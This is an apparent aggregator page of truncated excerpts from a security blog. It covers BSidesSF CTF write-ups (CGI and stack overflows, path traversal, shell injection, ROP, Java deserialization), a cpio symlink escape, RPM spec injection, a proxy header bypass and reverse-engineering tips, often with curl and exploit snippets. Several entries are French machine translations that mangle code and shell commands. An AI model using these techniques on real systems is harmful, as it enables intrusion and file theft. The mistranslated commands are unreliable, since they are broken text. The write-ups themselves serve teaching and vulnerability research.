What's new arround internet

Last one

Src Date (GMT) Titre Description Tags Stories Notes
Blog.webp 2024-05-05 00:00:00 BSIDESSF 2024 Écritures: pas d'outils (un défi de bash perplexe)
BSidesSF 2024 Writeups: No Tools (A puzzling Bash challenge)
(lien direct)
pas d'outils est un défi terminal assez simple, quelque chose pour les nouveaux joueursmâcher. Je soupçonne qu'il existe plusieurs façons différentes de le résoudre, mais l'idée de base est de lire un fichier en utilisant uniquement des fonctions intégrées de sh . Je l'ai personnellement résolu avec le lire intégré: $ lire file= "nv"> $ drapeau Ctf { where-are-mon-tools } Une autre solution que mon co-organisateur a développée a utilisé Exec : $ exec Tool ★★
Blog.webp 2024-05-05 00:00:00 BSIDESSF 2024 Écritures: ne peut pas donner (exploitation CGI)
BSidesSF 2024 Writeups: Can\\'t Give In (CGI exploitation)
(lien direct)
The premise of the three challenges cant-give-in, cant-give-in-secure, and cant-give-in-securer are to learn how to exploit and debug compiled code that\'s loaded as a CGI module. You might think that\'s unlikely, but a surprising number of enterprise applications (usually hardware stuff - firewalls, network “security” appliances, stuff like that) is powered by CGI scripts. You never know! This challenge was inspired by one of my co-workers at GreyNoise asking how to debug a CGI script. I thought it\'d be cool to make a multi-challenge series in case others didn\'t know! This write-up is intended to be fairly detailed, to help new players understand their first stack overflow! Part 1: cant-give-in The vulnerability First, let\'s look at the vuln! All three challenges have pretty similar vulnerabilities, but here\'s what the first looks like: char *strlength = getenv("CONTENT_LENGTH"); if(!strlength) { printf("ERROR: Please send data!"); exit(0); } int length = atoi(strlength); read(fileno(stdin), data, length); if(!strcmp(data, "password=MyCoolPassword")) { printf("SUCCESS: authenticated successfully!"); } else { printf("ERROR: Login failed!"); } The way CGI works - a fact that I\'d forgotten since learning Perl like 20 years ago - is that the headers are processed by Apache and sent to the script as environmental variables, and the body (ie, POST data) is sent on stdin. In that script, we read the Content-Length from a variable, then read that many bytes of the POST body into a static buffer. That\'s a fairly standard buffer overflow, with the twist that it\'s in a CGI application! We can demonstrate the issue pretty easily by running the CGI directly (I\'m using dd to produce 200 characters without cluttering up the screen): Tool Vulnerability Threat ★★★
Blog.webp 2024-05-05 00:00:00 BSIDESSF 2024 Écritures: Streets plus sûrs (Web / inverse)
BSidesSF 2024 Writeups: Safer Streets (Web / reversing)
(lien direct)
This is a write-up for Safer Streets. I apparently wrote this in more “note to self” style, not blog style, so enjoy! First, browse the application. You should be able to create an error: $ curl \'http://localhost:8080/display?name=test\' Error in script /app/server.rb: No such file or directory @ rb_sysopen - /app/data/test Note that has a image/jpeg content-type, so it might confuse the browser. That issue grants access to two primitives: a) Read any file via path traversal b) The full path to the server For example: $ curl -s \'http://localhost:8080/display?name=../server.rb\' | head -n20 require \'json\' require \'sinatra\' require \'pp\' require \'singlogger\' require \'open3\' ::SingLogger.set_level_from_string(level: ENV[\'log_level\'] || \'debug\') LOGGER = ::SingLogger.instance() # Ideally, we set all these in the Dockerfile set :bind, ENV[\'HOST\'] || \'0.0.0.0\' set :port, ENV[\'PORT\'] || \'8080\' SAFER_STREETS_PATH = ENV[\'SAFER_STREETS\'] || \'/app/safer-streets\' SCRIPT = File.expand_path(__FILE__) LOGGER.info("Checking for required binaries...") if File.exist?(SAFER_STREETS_PATH) LOGGER.info("* Found `safer-streets` binary: #{ SAFER_STREETS_PATH }") [...] You can grab the safer-streets binary as well: $ curl -s \'http://localhost:8080/display?name=../../../app/safer-streets\' | file - /dev/stdin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fa512a55e0fbc8c4ad80483379826183f29ce161, for GNU/Linux 3.2.0, with debug_info, not stripped Inspecting the Ruby code shows an shell-injection issue if you control the output of safer-streets: system("/usr/bin/report-infraction --node=\'#{result[\'node\']}\' --img=\'#{photo}\'") You can reverse or mess with the binary to dis Threat ★★★
Blog.webp 2024-05-05 00:00:00 BSIDESSF 2024 Écritures: Slay the Spider (un tas de tas dur)
BSidesSF 2024 Writeups: Slay the Spider (A hard heap-overflow)
(lien direct)
Slay the Spider is a Minesweeper-like game where the user and computer try to uncover a spider. The challenge name and trappings are based on Slay the Spire, which is one of my favourite games. When you start the game, there are several different enemy AI options: 1: The Angry One - Plays at Random 2: Cheater Mc Cheaterly - Knows the best places to play 3: Smartypants - Uses magical super AI for the best chance of winning 4: Captain Fastidious - Is sure that playing left to right is best Those are loosely based on the classes from Slay the Spire. The third - Smarypants - is the key. It chooses the target square based on a silly algorithm: case AI_SMART: // Picks the average of the human move and the last computer move move.row = (human_move.row + last_computer_move.row) / 2; move.col = (human_move.col + last_computer_move.col) / 2; The problem is that the human_move.row and human_move.col are set even when the move is invalid: static move_t do_human_turn(game_t *game) { move_t move; printf("It\'s your (human) move!\n"); printf("\n"); printf("Row?\n"); move.row = read_int(); printf("\n"); printf("Col?\n"); move.col = read_int(); if(move.row > ★★★
Blog.webp 2024-05-05 00:00:00 BSIDESSF 2024 Rédactions: Turing complète (inversion / exploitation)
BSidesSF 2024 Writeups: Turing Complete (Reversing / exploitation)
(lien direct)
This is a write-up for turing-complete, turing-incomplete, and turing-incomplete64 from the BSides San Francisco 2024 CTF! turing-complete is a 101-level reversing challenge, and turing-incomplete is a much more difficult exploitation challenge with a very similar structure. turing-incomplete64 is a 64-bit version of turing-incomplete, which isn\'t necessarily harder, but is different. Let\'s look at the levels! turing-complete My ideas doc said “Turing Machine?” from a long time ago. I don\'t really remember what I was thinking, but what I decided was to make a simple reversing challenge with a finite tape and 4 operations - go left, go right, read, and write. All commands and responses are binary (1s and 0s), which is hinted at by the instructions being a series of binary bits. The actual main loop, in C, is quite simple: uint8_t tape[128]; // ...write the flag to the tape... for(;;) { uint8_t a = r(); if(a == 2) break; uint8_t b = r(); if(b == 2) break; if(a == 0 && b == 0) { ptr++; } else if(a == 0 && b == 1) { ptr--; } else if(a == 1 && b == 0) { printf("%08b", Threat ★★★
Blog.webp 2023-06-27 16:14:05 Comment faire: inverser et déboguer les modules ISAPI
How-to: Reversing and debugging ISAPI modules
(lien direct)
Récemment, j'ai eu le privilège de Écrivez une analyse détaillée de CVE-2023-34362 , qui est une série de plusieurs vulnérabilités dans le transfert de fichiers Moveit application qui mène à l'exécution du code distant.L'un des nombreux Les vulnérabilités impliquaient un module ISAPI - en particulier, le moveItapi.dll Extension ISAPI.L'une des nombreuses vulnérabilités qui comprenaient le mouvement RCE était un problème d'injection d'en-tête, où les en-têtes analysés de la demande ISAPI différemment de l'application .NET.Ce point va creuser dans la façon de Analyser et insensier un service basé sur ISAPI! ce n'était pas la première fois du passé récent, je devais travailler sur quelque chose écrit comme un module Isapi, et chaque fois que je me sens comme je dois commencer plus et rappelez-vous comment il est censé fonctionner.Cette fois, je pensais que je combinerais Mes notes à la fermeture avec une Google, et essayez d'écrire quelque chose que je (et autres) peuvent utiliser à l'avenir.En tant que tel, ce sera une intro rapide à Applications ISAPI sous l'angle qui compte pour moi - comment insensé ingénieur et les déboguer! Je veux préfacer ceci: je ne suis pas un développeur Windows, et je n'ai jamais exécuté un IIS Server exprès.Cela signifie que j'approche cela avec une force brute ignorance!Je n'ai pas beaucoup de contexte d'arrière-plan et je ne connais pas le bon Terminologie pour beaucoup de ces choses.Au lieu de cela, je vais traiter ce sont DLL typiques des applications typiques et les approcher en tant que telles. Qu'est-ce que Isapi? Vous pouvez considérer Isapi comme l'équivalent iis \\ aux modules apache ou nginx - que est, ce sont des binaires écrits dans une langue de bas niveau comme C, C ++ ou Delphi (Non vraiment, la page Wikipedia répertorie Delphi !) qui sont chargés dans l'espace mémoire IIS en tant que bibliothèques partagées.Puisqu'ils \\ 're Code de bas niveau, ils peuvent souffrir de problèmes couramment trouvés dans le code de bas niveau, comme la corruption de la mémoire.Vous avez probablement utilisé ISAPI fourni par Microsoft modules sans s'en rendre compte - ils sont utilisés dans les coulisses pour .aspx Applications, par exemple! J'ai trouvé cet aperçu utile d'Isapi , qui relie les autres pages que je mentionne ci-dessous.Il a un avertissement de dépréciation, Mais afaict pas de page de remplacement, donc je peux dire qu'elle existait en juin / 2023 au cas où Vous devez utiliser les archives Internet pour le récupérer. Selon l'application, les modules ISAPI peuvent soit gérer les demandes entrantes par eux-mêmes (« Extensions Isapi ») ou modifiez les demandes en route vers leur maître dernier (« filtres Isapi »). Ils sont tous les deux implémentés en tant que fichiers .dll, mais vous pouvez en distinguer un de la Autre en regardant la liste des fonctions exportées (dans un fichier .dll, un «Fonction exportée» est une fonction qui peut être appelée par le service qui charge le fichier .dll).Vous pouvez afficher les exportations dans IDA Pro ou Ghidra ou d'autres outils, mais pour Ces exemples, j'ai trouvé un outil CLI simple écrit dans Ruby Tool appelé Pedump , que vous pouvez installer via la commande RubyGems Gem Installer Pedump . Voici les fo Tool ★★
Blog.webp 2023-05-12 20:45:30 Off-Off: Trois façons de gérer les processus de fourniture
Fork off: Three ways to deal with forking processes
(lien direct)
Avez-vous déjà testé une application Linux qui se propage dans plusieurs processus? N'est-ce pas une douleur?Que vous déboguez, essayez de voir un procédé crash, ou Essayant d'écrire un exploit, il peut être très ennuyeux! En quelques jours, je donne une conférence à Northsec à Montréal.J'en ai demandé Des collègues pour revoir mes diapositives, et ils ont commenté que j'avais un peu Techniques pour gérer la forking, alors j'ai pensé que je partagerais un couple! Alerte de spoiler: Le dernier est le meilleur, donc vous pouvez simplement passer à cela.:) cibles J'ai écrit deux applications simples, une qui fourre et une qui ne fait pas.Je vais N'oubliez pas de modifier dans un repo github pour eux plus tard - et je l'ai fait!Tu peux saisir eux ici !J'ai inclus tout le reste J'utilise aussi pour ce blog. Pour consulter le projet et suivre, allez-y et clonez le repo: $ git clone https://github.com/iagox86/forktest.git Clonage dans \\ 'fourktest \' ... Remote: énumération des objets: 8, fait. Remote: comptage des objets: 100% (8/8), fait. Remote: compression des objets: 100% (8/8), fait. Remote: Total 8 (Delta 1), réutilisé 7 (Delta 0), pack-réutilisé 0 Recevoir des objets: 100% (8/8), fait. Résolution deltas: 100% (1/1), fait. $ CD Forktest i \\ 'a inclus des versions construites de tous les fichiers, mais ils ne sont pas conçus pour être Portable pour ne pas fonctionner proprement.Si vous avez besoin de les construire vous-même, J'ai inclus un makefile de base: $ make clean & amp; & amp;faire RM -F * .O FORKAPP NOFORKAPPonlyyoucanpreventforking.o patch gcc -g -wall -fno-stack-protector -o fourkapp fourkapp.c gcc -g -wall -fno-stack-protecteur -o noforkapp noforkapp.c gcc -shared -fpic -o onlyyoucanpreventforking.soonlyyoucanpreventforking.c NASM -O Patch Patch.asm Cela devrait fonctionner plus ou moins la même chose sur n'importe quel système Intel Linux 64 bits. Le problème Lorsque vous exécutez l'un ou l'autre application de test, il copie le premier argument dans une chaîne (dangereux) puis l'imprime à l'écran: $ ./ForkApp Test Vous avez entré: Tester Laissez \\ dire que vous souhaitez utiliser Strace pour afficher les appels système.Dans un processus qui Imprime une chaîne, vous vous attendez à voir un appel à écrire ou quelque chose de similaire, qui est l'appel système qui écrit, disons, STDOUT (votre terminal).Ici \\ s À quoi ça ressemble sans forking: $Strace ./noforkapp Test execve ("./ noforkapp", ["./noforkapp", "test"], 0x7fffd7acc8f8 / * 72 vars * /) = 0 [...] Écrire (1, "Vous êtes entré:Test \ n ", 18 ans entré: Test ) = 18 exit_group (0) =? +++ sorti avec 0 +++ Mais une fois que vous avez ajouté de la fourniture de l'équation, vous ne voyez plus le Write syscall dans Strace par défaut: $ strace ./forkapp test execve ("./ forkapp", ["./forkapp", "test"], 0x7ffd1b7f02c8 / * 52 vars * /) = 0 [...] clone (child_stack = nul ★★
Blog.webp 2023-05-02 22:37:26 Astuces d'ingénierie inverse: identifier les protocoles de réseau opaques
Reverse engineering tricks: identifying opaque network protocols
(lien direct)
Lately, I\'ve been reverse engineering a reasonably complex network protocol, and I ran into a mystery - while the protocol is generally an unencrypted binary protocol, one of the messages was large and random. In an otherwise unencrypted protocol, why is one of the messages unreadable? It took me a few hours to accomplish what should have been a couple minutes of effort, and I wanted to share the trick I ultimately used! I\'m going to be intentionally vague on the software, and even modify a few things to make it harder to identify; I\'ll probably publish a lot more on my work blog once I\'m finished this project! Binary protocols Let\'s take a look at the binary protocol! If you\'re familiar with protocols and just want to see the “good stuff”, feel free to skip down to the next header. A “binary protocol” is a network protocol that uses unprintable characters (as opposed to a protocol like HTTP, which is something you can type on your keyboard). Often, you\'ll use a tool like Wireshark to grab a sample of network traffic (a “packet capture”, or “PCAP”) and, if it\'s not encrypted, you can start drawing conclusions about what the client and server expect. In a PCAP, you might see requests / responses that look like this: Outbound: 08 00 00 00 2c 00 00 00 ....,... Inbound: 40 00 00 00 2c 00 00 00 55 53 52 53 05 00 00 00 @...,... USRS.... 2c 00 00 00 02 00 00 00 55 38 f9 ed 21 59 47 f5 ,....... U8..!YG. 8f 9d 43 59 33 5c 2e 92 00 00 00 00 c4 54 f4 01 ..CY3\.. .....T.. 8d b4 43 e7 9e 9f ea db 4e 76 1a 7a 00 00 00 00 ..C..... Nv.z.... I don\'t want to get too buried in the weeds on how this protocol actually works, but when you work with unknown binary protocols a lot, certain things start to stand out. First, let\'s talk about endianness! The way integers are encoded into protocols vary based on the protocol, but a very common way to encode a 4-byte (32-bit) number is either big endian (8 => 00 00 00 08) or little endian (8 => 08 00 00 00). There are historic reasons both exist, and both are common to see, but based on the structure of those messages, we can guess that the first 4 bytes are either a big-endian integer with the value 0x08000000 or a little-endian integer with the value 0x00000008. The latter seems more likely, because that would make a great length value; speaking of lengths… Second, let\'s talk about TCP - TCP is a streaming protocol, which means there is no guarantee that if you send 100 bytes, the receiver will receive those 100 bytes all at once. You ARE guaranteed that if you received data, it\'ll be the correct bytes in the correct order; however, you might get 50 now and 50 later, or 99 now and 1 later, or maybe the next 50 bytes will be attached and you\'ll get 150 bytes all at once. As a result, TCP-based services nearly always encode a length value near the start, allowing protocols to unambiguously receive complete messages. Because of all that, one of the first things I do when approaching a new protocol is try to identify the length field. In this case, you\'ll note that the packet that starts with 0x08 is 8 bytes long, and the packet that starts with 0x40 is 0x40 bytes long. That looks promising! And, as it turns out, is correct. Once we have a length field, the next thing to consider is how the client and server multiplex messages. In an HTTP protocol, there\'s a URI, which tells the server where to direct the request. In a binary protocol, there isn\'t typical Tool ★★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Écritures: Too-Latte (exploitation Java de difficulté moyenne)
BSidesSF 2023 Writeups: too-latte (medium-difficulty Java exploitation)
(lien direct)
too-latte is a challenge I wrote based on CVE-2023-0669, which is an unsafe deserialization vulnerability in Fortra\'s GoAnywhere MFT software. I modeled all the vulnerable code off, as much as I could, that codebase. It\'s obviously themed quite differently. Write-up If you use a tool like jadx to unpack the servlets, you\'ll find, through some layers of indirection, this code in TokenWorker.java (that operates on the token parameter): public static String unbundle(String token, KeyConfig keyConfig) throws Exception { token = token.substring(0, token.indexOf("$")); return new String(decompress(verify(decrypt(decode(token.getBytes(StandardCharsets.UTF_8)), keyConfig.getVersion()), keyConfig)), StandardCharsets.UTF_8); } The decode function decodes the token parameter from Base64. The decrypt function decrypts the token with a static key. The actual decryption code is under several layers of indirection, because Java is Java, but the TokenEncryptor class has a key, IV, and algorithm: private static final byte[] IV = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12 Tool Vulnerability ★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Écritures: ID-ME (défi Easy File Identification Challenge)
BSidesSF 2023 Writeups: id-me (easy file identification challenge)
(lien direct)
id-me est un Challenge J'ai écrit pour enseigner aux gens comment déterminer les types de fichiers sans extensions. Mon intention était d'utiliser la commande Fichier , mais d'autres solutions sont absolument possible! écriture J'ai conçu id-me pour être assez simple "Identifier ce fichier" défi.L'utilisateur reçoit quatre fichiers et il est chargé de lire la partie du drapeau de chacun d'eux. i \\ 'D Personnellement, utilisez la commande File sur Linux: $ file * Fichier1: Texte ASCII File2: Données d'image JPEG [...] Fichier3: Document PDF, version 1.4 Fichier4: Données d'archive zip, au moins v2.0 pour extraire, méthode de compression = dégonfler mais beaucoup d'autres façons existent, notamment en les ouvrant simplement dans le chrome navigateur.
id-me is a challenge I wrote to teach people how to determine file types without extensions. My intent was to use the file command, but other solutions are absolutely possible! Write-up I designed id-me to be a fairly straight forward “identify this file” challenge. The user is given four files, and they are tasked with reading part of the flag from each of them. I\'d personally use the file command on Linux: $ file * file1: ASCII text file2: JPEG image data [...] file3: PDF document, version 1.4 file4: Zip archive data, at least v2.0 to extract, compression method=deflate But lots of other ways exist, including simply opening them in the Chrome browser.
★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Écritures: White plat (réversion Java plus simple)
BSidesSF 2023 Writeups: Flat White (simpler Java reversing)
(lien direct)
Ceci est un article pour Flat-White et Vulnerability ★★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Écritures: ROP TEPTING ZOO (Défi de l'éducation!)
BSidesSF 2023 Writeups: ROP Petting Zoo (educational challenge!)
(lien direct)
ROP Petting Zoo is a challenge designed to teach the principles of return-oriented programming. It\'s mostly written in Javascript, with a backend powered by a Ruby web server, along with a tool I wrote called Mandrake. Source code is shared between the three parts of the challenge, and is available here. Mandrake is a debugger / tracer I wrote that executes a binary and traces all code run between two points. It will show registers, memory, all the good stuff. ROP Petting Zoo is kind of a wrapper around that. Basically, you have a list of potential ROP gadgets and libc calls. You build a stack from all the ROP gadgets, hit Execute!, and the harness will return to the first address on the stack. Everything is running forreal in a container, so you get to see what would actually happen if this is a real exploit! The challenges are very guided / on-rails, with tutorials that show the exact steps you will need to take, but here are the solutions I wrote. It\'s helpful to remember that when a function is called, the arguments are, in order, passed in the registers rdi, rsi, rdx, and rcx. Level 1 print_flag() -> Immediately return to print_flag pop rdi / ret -> Pop the next value into register rdi 0 -> This is what\'s popped into rdi exit -> Return to exit(rdi) aka exit(0) Level 2 return_flag() -> Returns the flag in rax mov rdi, rax / ret -> Moves the flag pointer into rdi puts -> Return to puts(rdi) or puts(flag) pop rdi / ret -> Pop the next value into rdi 0 -> This is what\'s popped into rdi exit -> Return to exit(rdi) aka exit(0) Level 3 This part unfortunately ran a lot slower than I\'d intended, but hopefully it\'s educational enough: write_flag_to_file() -> Writes the flag to a file, returns the name in rax mov rdi, rax / ret -> Moves the filename to rdi, the first param Tool ★★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Rédactions: Sortez (Difficiel Inverse Engineering + Exploitation)
BSidesSF 2023 Writeups: Get Out (difficult reverse engineering + exploitation)
(lien direct)
This is a write-up for three challenges: getout1-warmup getout2-gettoken getout3-apply They are somewhat difficult challenges where the player reverses a network protocol, finds an authentication bypass, and performs a stack overflow to ultimately get code execution. It also has a bit of thematic / story to it! Writeup Getout is based on a research project I did over the winter on Rocket Software\'s UniData application. UniData (and other software they make) comes with a server called UniRPC, which functions very similarly to getoutrpc. My intention for the three parts of getout are: Solving getout1-warmup requires understanding how the RPC protocol works, which, as I said, is very similar to UniRPC In getout2-gettoken, I emulated CVE-2023-28503 as best I could In getout3-apply, I emulated CVE-2023-28502 but made it much, much harder to exploit Let\'s take a look at each! getout1-warmup The warmup is largely about reverse engineering enough of the protocol to implement it. You can find libgetout.rb in my solution, but the summary is that: You connect to the RPC service You send messages to the server, which are basically just a header, then a body comprised of a series of packed fields (integers, strings, etc) The first message starts with an integer opcode: Opcode 0 = “list services” Opcode 1 = “execute a service” Once a service is executed, a different binary takes over, which implements its own sub-protocol (though the packet formats are the same) For getout1-warmup, you just have to connect to the service and it immediately sends you the flag. On the server, it looks like: int main(int argc, char *argv[]) { int s = atoi(argv[1]); packet_body_t *response = packet_body_create_empty(); packet_body_add_int( Vulnerability Prediction ★★
Blog.webp 2023-04-24 00:08:44 BSIDESSF 2023 Écritures: Overflow (défi de dépassement simple)
BSidesSF 2023 Writeups: overflow (simple stack-overflow challenge)
(lien direct)
Overflow is a straight-forward buffer overflow challenge that I copied from the Hacking: Art of Exploitation examples CD. I just added a flag. Full source is here. Write-up The source and binary are available, so the user can examine them. But they\'re also fairly simple: #include #include #include #include int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, "one"); /* put "one" into buffer_one */ strcpy(buffer_two, "two"); /* put "two" into buffer_two */ printf("[BEFORE] buffer_two is at %p and contains \\'%s\\'\n", buffer_two, buffer_two); printf("[BEFORE] buffer_one is at %p and contains \\'%s\\'\n", buffer_one, buffer_one); printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value); printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */ printf("[AFTER] buffer_two is at %p and contains \\'%s\\'\n", buffer_two, buffer_two); printf("[AFTER] buffer_one is at %p and contains \\' ★★
Blog.webp 2023-01-23 20:14:17 Blast from the Past: How Attackers Compromised Zimbra With a Patched Vulnerability (lien direct) Last year, I worked on a vulnerability in Zimbra (CVE-2022-41352 - my AttackerKB analysis for Rapid7) that turned out to be a new(-ish) exploit path for a really old bug in cpio - CVE-2015-1194. But that was patched in 2019, so what happened? (I posted this as a tweet-thread awhile back, but I decided to flesh it out and make it into a full blog post!) cpio is an archive tool commonly used for system-level stuff (firmware images and such). It can also extract other format, like .tar, which we'll use since it's more familiar. cpio has a flag (--no-absolute-filenames), off by default, that purports to prevent writing files outside of the target directory. That's handy when, for example, extracting untrusted files with Amavis (like Zimbra does). The problem is, symbolic links can point to absolute paths, and therefore, even with --no-absolute-filenames, there was no safe way to extract an untrusted archive (outside of using a chroot environment or something similar, which they really ought to do). Much later, in 2019, the cpio team released cpio version 2.13, which includes a patch for CVE-2015-1194, with unit tests and everything. Some (not all) modern OSes include the patched version of cpio, which should be the end of the story, but it's not! I'm currently writing this on Fedora 35, so let's try exploiting it. We can confirm that the version of cpio installed with the OS is, indeed, the fixed version: ron@fedora ~ $ cpio --version cpio (GNU cpio) 2.13 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by Phil Nelson, David MacKenzie, John Oleynick, and Sergey Poznyakoff. That means that we shouldn't be able to use symlinks to write outside of the target directory, so let's create a .tar file that includes a symlink and a file written through that symlink (this is largely copied from this mailing list post: ron@fedora ~ $ mkdir cpiotest ron@fedora ~ $ cd cpiotest ron@fedora ~/cpiotest $ ln -s /tmp/ ./demo ron@fedora ~/cpiotest $ echo 'hello' > demo/imafile ron@fedora ~/cpiotest $ tar -cvf demo.tar demo demo/imafile demo demo/imafile ron@fedora ~/cpiotest $ Tool Vulnerability APT 17 ★★★★
Blog.webp 2023-01-10 18:02:16 GDB Tricks: Tricking the Application into Generating Test Data (lien direct) While reverse engineering a Linux binary, I ran into a fairly common situation: I wanted to understand how a decompression function works, but I didn't have compressed data to test with. In this blog, I'll look at how to we can manipulate the instruction pointer in the GNU debugger (gdb) to trick the software into generating test data for us! I posted this on Mastodon awhile back, but I cleaned it up and expanded it a bit to make it a full blog post. I did this work in the context of my research team at Rapid7 - you can check out all of our work on the Rapid7 Research Blog (secret rss link!)! Anyway, while working on an application, I ran into a function called LZ4_decompress_safe. I wanted to learn how it worked, but EVERYTHING I tried to decompress returned an error - even test data generated by a legitimtae LZ4 library! I'm not sure why it didn't work - maybe they modified it? Maybe it's a different version? Maybe the lz4 CLI tool has more or less file headers? - Dunno! But let's make the application create its own test data! I know (from Googling) that the signatures for the decompress and compress functions are: int __fastcall LZ4_decompress_safe(const char *src, char *dst, int compressedSize, int dstCapacity) int __fastcall LZ4_compress(const char *src, char *dst, int srcSize, int dstCapacity) The calling code looks like: mov ecx, dword ptr [rsp+80h+capacity] ; dstCapacity mov edx, dword ptr [rsp+88h+size] ; compressedSize mov rsi, cs:buffer ; dst mov rdi, [rsp+88h+out_buffer] ; src call LZ4_decompress_safe ; I can't figure out how to get this to work :( The functions have the exact same signature, which is super handy! I put a breakpoint on the function LZ4_decompress_safe, which will stop execution when the application attempts to decompress data: (gdb) b *LZ4_decompress_safe Breakpoint 4 at 0x40bc40 (gdb) run Starting program: [...] Then I sent a message to the server with the “this message is compressed!” flag set, but with uncompressed data (specifically, the contents of /etc/passwd - my go-to for longer test data). So basically, the server will think the data is compressed, but it's actually not. When the service tries to decompress the packet, it'll hit the breakpoint: (gdb) run Starting program: [...] Breakpoint 4, 0x000000000040bc40 in LZ4_decompress_safe () The calling convention on x64 Linux means that the first three arguments are placed in the rdi, rsi, and rdx registers. We want the dst buffer, which is the second argument, so we print out rsi: (gdb) print/x $rsi $63 = 0x6820f0 Tool ★★★★
Blog.webp 2022-06-17 20:19:23 BSidesSF 2022 Writeups: Miscellaneous Challenges (loca, reallyprettymundane) (lien direct) Hey folks, This is my (Ron's / iagox86's) author writeups for the BSides San Francisco 2022 CTF. You can get the full source code for everything on github. Most have either a Dockerfile or instructions on how to run locally. Enjoy! Here are the four BSidesSF CTF blogs: shurdles1/2/3, loadit1/2/3, polyglot, and not-for-taking mod_ctfauth, refreshing turtle, guessme loca, reallyprettymundane Loca - A weird Windows reversing challenge Several years ago, I wrote a challenge called launchcode, where I backdoored calc.exe so it would detect a certain pattern of button presses and display a special message if it detects them (that in turn was based on a bug in Steam). But often, if I replaced certain bytes in the executable, it would mysteriously corrupt the code and crash! I eventually figured out it was due to "relocations", and I thought I'd make a challenge based on that. This is where loca came from! A Windows binary (ie, PE file) has a section called .reloc, or relocation. That section is essentially a big list (encoded in a weird, page-based DOS-ey feeling way) that lists every hardcoded memory address in the PE image. When the Windows loader loads the PE image at an address where it doesn't want to be loaded to (which is always with ASLR), it will navigate that list and update each address in the loaded binary. It adds the difference between where it wants to be loaded and where it is actually loaded to the original value. That way, no matter where the image is loaded into memory, the hardcoded addresses will point to the right spot. That's obviously a ridiculous way to handle relocations, but I'm sure there are pros and cons. For this challenge, I calculate a simple request/response. The problem is that the initial value of the checksum I calculate is marked as a relocation, which means it changes based on where it's loaded. That means that for a solution, you need to: Realize it's relocating the seed address Leak a memory address using an information-disclosure issue Calculate the result for the current offset All this has the bonus that it breaks debugging - debuggers disable ASLR, which means if you debug this executable you'll miss the trick entirely. I'm not sure if that's good or bad, because I had several people ask questions, but it certainly made it challenging! reallyprettymundane reallyprettymundane is an RPM-spec-injection attack. It's based on something I found while investigating CVE-2022-1388. Basically, if you can add newlines to an RPM's .spec file, you can run arbitrary code by adding a new section to the .spec. Some sections contain executable code, and that's what we care about! For our solution, we target the %check section, which consists of shell c ★★★★
Blog.webp 2022-06-17 20:19:21 BSidesSF 2022 Writeups: Game-y Challenges (Turtle, Guessme) (lien direct) Hey folks, This is my (Ron's / iagox86's) author writeups for the BSides San Francisco 2022 CTF. You can get the full source code for everything on github. Most have either a Dockerfile or instructions on how to run locally. Enjoy! Here are the four BSidesSF CTF blogs: shurdles1/2/3, loadit1/2/3, polyglot, and not-for-taking mod_ctfauth, refreshing turtle, guessme loca, reallyprettymundane Turtle While discussing how we could appeal to current trends, I had the idea of making a challenge based on Wordle, called Turdle. My husband talked me out of "Turd", so we ended up with Turtle. I could swear growing up that we had a "game" called E-Z-Logic in elementary school, on the Apple ]['s we had. It was a graphical version of the logo programming language. You could move the little turtle around, and had to navigate mazes. I tried and failed to find a reference to it, so it may never have existed. Anyway, combining this mythical game and Wordle, I came up with an impossible Wordle clone: you move the turtle around, and have to match the directions/distances. The original "vulnerability" was supposed to be that you could submit future solutions, and I looked at using a broken RNG or something for future dates. But honestly, solving the current day was difficult enough that I really only had to do that. Ohwell. :) The vulnerability was in the 2-digit dates used to calculate the path. If you rewind by exactly 100 years, the solution is the same. So you just have to get the solution for 1922, and there ya go! Solution is here. Honestly, this challenge was like 5% writing a challenge, and 95% making it look pretty. I thought it was pretty cool, though. :) Guessme I had the idea that I wanted to make a challenge based on Base64 ambiguity. I've tweeted about it a couple times in the past year, because I thought it was interesting! The idea of [guessme[(https://github.com/BSidesSF/ctf-2022-release/tree/main/guessme) is that you're given a list of "clues" (which mean nothing), and you have one chance to guess the solution, which is checked using an encrypted base64-encoded token that the user also gets. If you guess wrong, you're sent the answer and it "blacklists" the encrypted token so you can't guess again. The problem is that base64 is ambiguous! Each base64 character represents six bits of binary data, so four base64 characters are 24 bits or three bytes. But five base64 characters represent 30 bits, or 3.5 bytes. Since you obviously can't have half of a byte, the last 4 bits are disregarded. If you change those bits, you can create a new encoding without changing the original data! My solution naively increments the final character until it works. Not the cleanest solution, but it works eventually! uity. I've tweeted about it a couple times in the past year, because I thought it was interesting! The idea of guessme is that you're given a list of Vulnerability ★★★★
Blog.webp 2022-06-17 20:19:18 BSidesSF 2022 Writeups: Apache Challenges (mod_ctfauth, refresh) (lien direct) Hey folks, This is my (Ron's / iagox86's) author writeups for the BSides San Francisco 2022 CTF. You can get the full source code for everything on github. Most have either a Dockerfile or instructions on how to run locally. Enjoy! Here are the four BSidesSF CTF blogs: shurdles1/2/3, loadit1/2/3, polyglot, and not-for-taking mod_ctfauth, refreshing turtle, guessme loca, reallyprettymundane Refreshing - Reverse proxy mischief The Refreshing challenge implements a reverse proxy that checks the query string for mischief, and attaches a header if it's bad. If the PHP application with a blatant vulnerability sees that header, it prints an error and does not render. This was actually based entirely on CVE-2022-1388 (the name "Refreshing" is a nod to F5) - you can see my Rapid7 writeup on AttackerKB. This was absolutely new to me when I worked on that vuln: the Connection HTTP header can remove headers when proxying. That means if you set Connection: Xyz while proxying through Apache, it will remove the header Xyz when forwarding. This worked out of the box on Apache! I initially tried Nginx, and it did not work there - not sure why, maybe they don't implement that header the same? Anyway, to solve this, all you have to do is set the header Connection: X-Security-Danger on the request, then take advantage of the path traversal on the PHP site: $ curl -H 'Connection: X-Security-Danger' 